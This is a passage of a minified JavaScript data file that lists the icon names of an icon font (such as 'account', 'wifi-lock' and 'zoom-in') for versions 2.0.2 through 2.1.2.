down","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","tune","tv","tv-list","tv-play","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","voicemail","volume-down","volume-mute","volume-off","volume-up","wallpaper","watch","wb-auto","widgets","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.0.2",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplay","alarm","alarm-check","alarm-off","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","apps","archive","arrow-merge","arrow-missed","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-unknown","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","book","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","cake","calendar","calendar-alt","calendar-check","calendar-note","camera","camera-add","camera-alt","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-up","case","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","code","code-setting","code-smartphone","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-image","comment-list","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","edit","eject","eject-alt","email","email-open","equalizer","explicit","exposure","exposure-alt","eye","eye-off","face","fast-forward","fast-rewind","favorite","favorite-outline","file","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","flower","folder","folder-outline","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gesture","gif","globe","globe-alt","globe-lock","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hotel","hourglass","hourglass-outline","hq","http","image","image-alt","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","invert-colors","invert-colors-off","key","keyboard","keyboard-hide","label","label-heart","labels","landscape","laptop","laptop-chromebook","laptop-mac","layers","leak","link","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-left","long-arrow-return","long-arrow-tab","looks","loupe","mail-reply","mail-reply-all","mail-send","male","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-off","mood","mood-bad","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","pause","pause-circle","pause-circle-outline","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","plaster","play","play-circle","play-circle-outline","play-for-work","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power-input","present-to-all","print","puzzle-piece","radio","reader","receipt","redo","refresh","refresh-alt","refresh-sync","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","rotate-left","rotate-right","router","ruler","satellite","scanner","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","stop","storage","sun","surround-sound","swap","swap-alt","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","tune","tv","tv-list","tv-play","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","voicemail","volume-down","volume-mute","volume-off","volume-up","wallpaper","watch","wb-auto","widgets","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.1.0",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitter","twitter-box","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","zero","zoom-in","zoom-out"]
},{version:"2.1.1",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe","mail-reply","mail-reply-all","mail-send","male","male-alt","male-female","mall","map","markunread-mailbox","memory","menu","mic","mic-off","mic-outline","mic-setting","minus","minus-circle","minus-circle-outline","minus-square","money","money-box","money-off","mood","mood-bad","more","more-vert","mouse","movie","movie-alt","my-location","n-1-square","n-2-square","n-3-square","n-4-square","n-5-square","n-6-square","nature","nature-people","navigation","neg-1","neg-2","network","network-alert","network-locked","network-off","network-outline","network-setting","nfc","notifications","notifications-active","notifications-add","notifications-none","notifications-off","notifications-paused","open-in-browser","open-in-new","palette","panorama-horizontal","panorama-vertical","panorama-wide-angle","parking","pause","pause-circle","pause-circle-outline","paypal","phone","phone-bluetooth","phone-end","phone-forwarded","phone-in-talk","phone-locked","phone-missed","phone-msg","phone-paused","phone-ring","phone-setting","phone-sip","photo-size-select-large","photo-size-select-small","picture-in-picture","pin","pin-account","pin-assistant","pin-drop","pin-help","pin-off","pinterest-box","pizza","plaster","play","play-circle","play-circle-outline","play-for-work","playlist-audio","playlist-plus","plus","plus-1","plus-2","plus-circle","plus-circle-o","plus-circle-o-duplicate","plus-square","pocket","polymer","portable-wifi","portable-wifi-changes","portable-wifi-off","power","power-input","power-setting","present-to-all","print","puzzle-piece","quote","radio","railway","reader","receipt","redo","refresh","refresh-alt","refresh-sync","refresh-sync-alert","refresh-sync-off","remote-control","remote-control-alt","repeat","repeat-one","replay","replay-10","replay-30","replay-5","roller","rotate-ccw","rotate-cw","rotate-left","rotate-right","router","ruler","run","satellite","scanner","scissors","screen-rotation","screen-rotation-lock","search","search-for","search-in-file","search-in-page","search-replace","seat","sec-10","sec-3","select-all","settings","settings-square","share","shield-check","shield-security","shopping-basket","shopping-cart","shopping-cart-plus","shuffle","sign-in","skip-next","skip-previous","slideshow","smartphone","smartphone-android","smartphone-download","smartphone-erase","smartphone-info","smartphone-iphone","smartphone-landscape","smartphone-landscape-lock","smartphone-lock","smartphone-portrait-lock","smartphone-ring","smartphone-setting","smartphone-setup","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","space-bar","speaker","spellcheck","square-down","square-o","square-right","star","star-circle","star-half","star-outline","steam","steam-square","stop","storage","store","store-24","subway","sun","surround-sound","swap","swap-alt","swap-vertical","swap-vertical-circle","tab","tab-unselected","tablet","tablet-android","tablet-mac","tag","tag-close","tag-more","tap-and-play","text-format","texture","thumb-down","thumb-up","thumb-up-down","ticket-star","time","time-countdown","time-interval","time-restore","time-restore-setting","timer","timer-off","toll","tonality","toys","traffic","transform","translate","trending-down","trending-flat","trending-up","triangle-down","triangle-up","truck","tune","turning-sign","tv","tv-alt-play","tv-list","tv-play","twitter","twitter-box","undo","unfold-less","unfold-more","upload","usb","vibration","videocam","videocam-off","videocam-switch","view-agenda","view-array","view-carousel","view-column","view-comfy","view-compact","view-dashboard","view-day","view-headline","view-list","view-list-alt","view-module","view-quilt","view-stream","view-subtitles","view-toc","view-web","view-week","vignette","vk","voicemail","volume-down","volume-mute","volume-off","volume-up","walk","wallpaper","washing-machine","watch","wb-auto","widgets","wifi","wifi-alt","wifi-alt-2","wifi-info","wifi-lock","wifi-off","wifi-outline","wikipedia","window-maximize","window-minimize","window-restore","windows","wrap-text","wrench","zero","zoom-in","zoom-out"]},{version:"2.1.2",icons:["","3d-rotation","account","account-add","account-box","account-box-mail","account-box-o","account-box-phone","account-calendar","account-circle","account-o","accounts","accounts-add","accounts-alt","accounts-list","accounts-list-alt","accounts-outline","airline-seat-flat","airline-seat-flat-angled","airline-seat-individual-suite","airline-seat-legroom-extra","airline-seat-legroom-normal","airline-seat-legroom-reduced","airline-seat-recline-extra","airline-seat-recline-normal","airplane","airplane-off","airplay","alarm","alarm-check","alarm-off","alarm-plus","alarm-snooze","album","alert-circle","alert-circle-o","alert-octagon","alert-polygon","alert-triangle","android","android-alt","apple","apps","archive","arrow-left","arrow-left-bottom","arrow-merge","arrow-missed","arrow-right","arrow-right-top","arrow-split","arrows","aspect-ratio","aspect-ratio-alt","assignment","assignment-account","assignment-alert","assignment-check","assignment-o","assignment-return","assignment-returned","attachment","attachment-alt","audio","badge-check","balance","balance-wallet","battery","battery-alert","battery-flash","battery-unknown","behance","bike","block","block-alt","bluetooth","bluetooth-connected","bluetooth-off","bluetooth-search","bluetooth-setting","blur","blur-circular","blur-linear","blur-off","boat","book","book-image","bookmark","bookmark-outline","border-all","border-bottom","border-clear","border-color","border-horizontal","border-inner","border-left","border-outer","border-right","border-style","border-top","border-vertical","brightness-2","brightness-3","brightness-4","brightness-5","brightness-6","brightness-7","brightness-auto","brightness-high","brightness-setting","broken-image","brush","bug","bus","cake","calendar","calendar-alt","calendar-check","calendar-close","calendar-note","camera","camera-add","camera-alt","camera-bw","camera-front","camera-mic","camera-party-mode","camera-rear","camera-roll","camera-switch","car","car-taxi","car-wash","card","card-alert","card-giftcard","card-membership","card-off","card-sd","card-sim","card-travel","caret-down","caret-down-circle","caret-left","caret-left-circle","caret-right","caret-right-circle","caret-up","caret-up-circle","case","case-check","case-download","case-play","cast","cast-connected","center-focus-strong","center-focus-weak","chart","chart-donut","check","check-all","check-circle","check-circle-u","check-square","chevron-down","chevron-left","chevron-right","chevron-up","circle","circle-o","city","city-alt","close","close-circle","close-circle-o","closed-caption","cloud","cloud-box","cloud-circle","cloud-done","cloud-download","cloud-off","cloud-outline","cloud-outline-alt","cloud-upload","cocktail","code","code-setting","code-smartphone","codepen","coffee","collection-bookmark","collection-case-play","collection-folder-image","collection-image","collection-image-o","collection-item","collection-item-1","collection-item-2","collection-item-3","collection-item-4","collection-item-5","collection-item-6","collection-item-7","collection-item-8","collection-item-9","collection-item-9-plus","collection-music","collection-pdf","collection-plus","collection-speaker","collection-text","collection-video","comment","comment-alert","comment-alt","comment-alt-text","comment-edit","comment-image","comment-list","comment-more","comment-outline","comment-text","comment-text-alt","comment-video","comments","compare","compass","confirmation-number","copy","crop","crop-16-9","crop-3-2","crop-5-4","crop-7-5","crop-din","crop-free","crop-landscape","crop-portrait","crop-square","cutlery","delete","desktop-mac","desktop-windows","developer-board","device-hub","devices","devices-off","dialpad","directions","directions-bike","directions-boat","directions-bus","directions-car","directions-railway","directions-run","directions-subway","directions-walk","disc-full","dns","dock","dot-circle","dot-circle-alt","download","dribbble","drink","dropbox","edit","eject","eject-alt","email","email-open","equalizer","evernote","explicit","exposure","exposure-alt","eye","eye-off","eyedropper","face","facebook","facebook-box","fast-forward","fast-rewind","favorite","favorite-outline","female","file","file-plus","file-text","filter-b-and-w","filter-center-focus","filter-frames","filter-list","filter-tilt-shift","fire","flag","flare","flash","flash-auto","flash-off","flight-land","flight-takeoff","flip","flip-to-back","flip-to-front","floppy","flower","flower-alt","folder","folder-outline","folder-person","folder-star","folder-star-alt","font","format-align-center","format-align-justify","format-align-left","format-align-right","format-bold","format-clear","format-clear-all","format-color-fill","format-color-reset","format-color-text","format-indent-decrease","format-indent-increase","format-italic","format-line-spacing","format-list-bulleted","format-list-numbered","format-ltr","format-rtl","format-size","format-strikethrough","format-strikethrough-s","format-subject","format-underlined","format-valign-bottom","format-valign-center","format-valign-top","forward","forward-10","forward-30","forward-5","fullscreen","fullscreen-alt","fullscreen-exit","functions","gamepad","gas-station","gesture","gif","github","github-box","globe","globe-alt","globe-lock","google","google-drive","google-earth","google-glass","google-maps","google-pages","google-play","google-plus","google-plus-box","gps","gps-dot","gps-off","gradient","graduation-cap","grain","graphic-eq","grid","grid-off","group-work","hd","hdr","hdr-off","hdr-strong","hdr-weak","headset","headset-mic","hearing","help","help-outline","home","hospital","hospital-alt","hotel","hourglass","hourglass-alt","hourglass-outline","hq","http","image","image-alt","image-o","inbox","info","info-outline","input-antenna","input-composite","input-hdmi","input-power","input-svideo","instagram","invert-colors","invert-colors-off","iridescent","key","keyboard","keyboard-hide","label","label-alt","label-alt-outline","label-heart","labels","lamp","landscape","language-css3","language-html5","language-javascript","language-python","language-python-alt","laptop","laptop-chromebook","laptop-mac","lastfm","layers","layers-off","leak","leak-off","library","link","linkedin-box","local-activity","local-airport","local-atm","local-bar","local-cafe","local-car-wash","local-convenience-store","local-dining","local-drink","local-florist","local-gas-station","local-grocery-store","local-hospital","local-hotel","local-laundry-service","local-library","local-mall","local-movies","local-offer","local-parking","local-pharmacy","local-phone","local-pizza","local-post-office","local-printshop","local-see","local-shipping","local-store","local-taxi","local-wc","lock","lock-open","lock-outline","long-arrow-down","long-arrow-left","long-arrow-return","long-arrow-right","long-arrow-tab","long-arrow-up","looks","loupe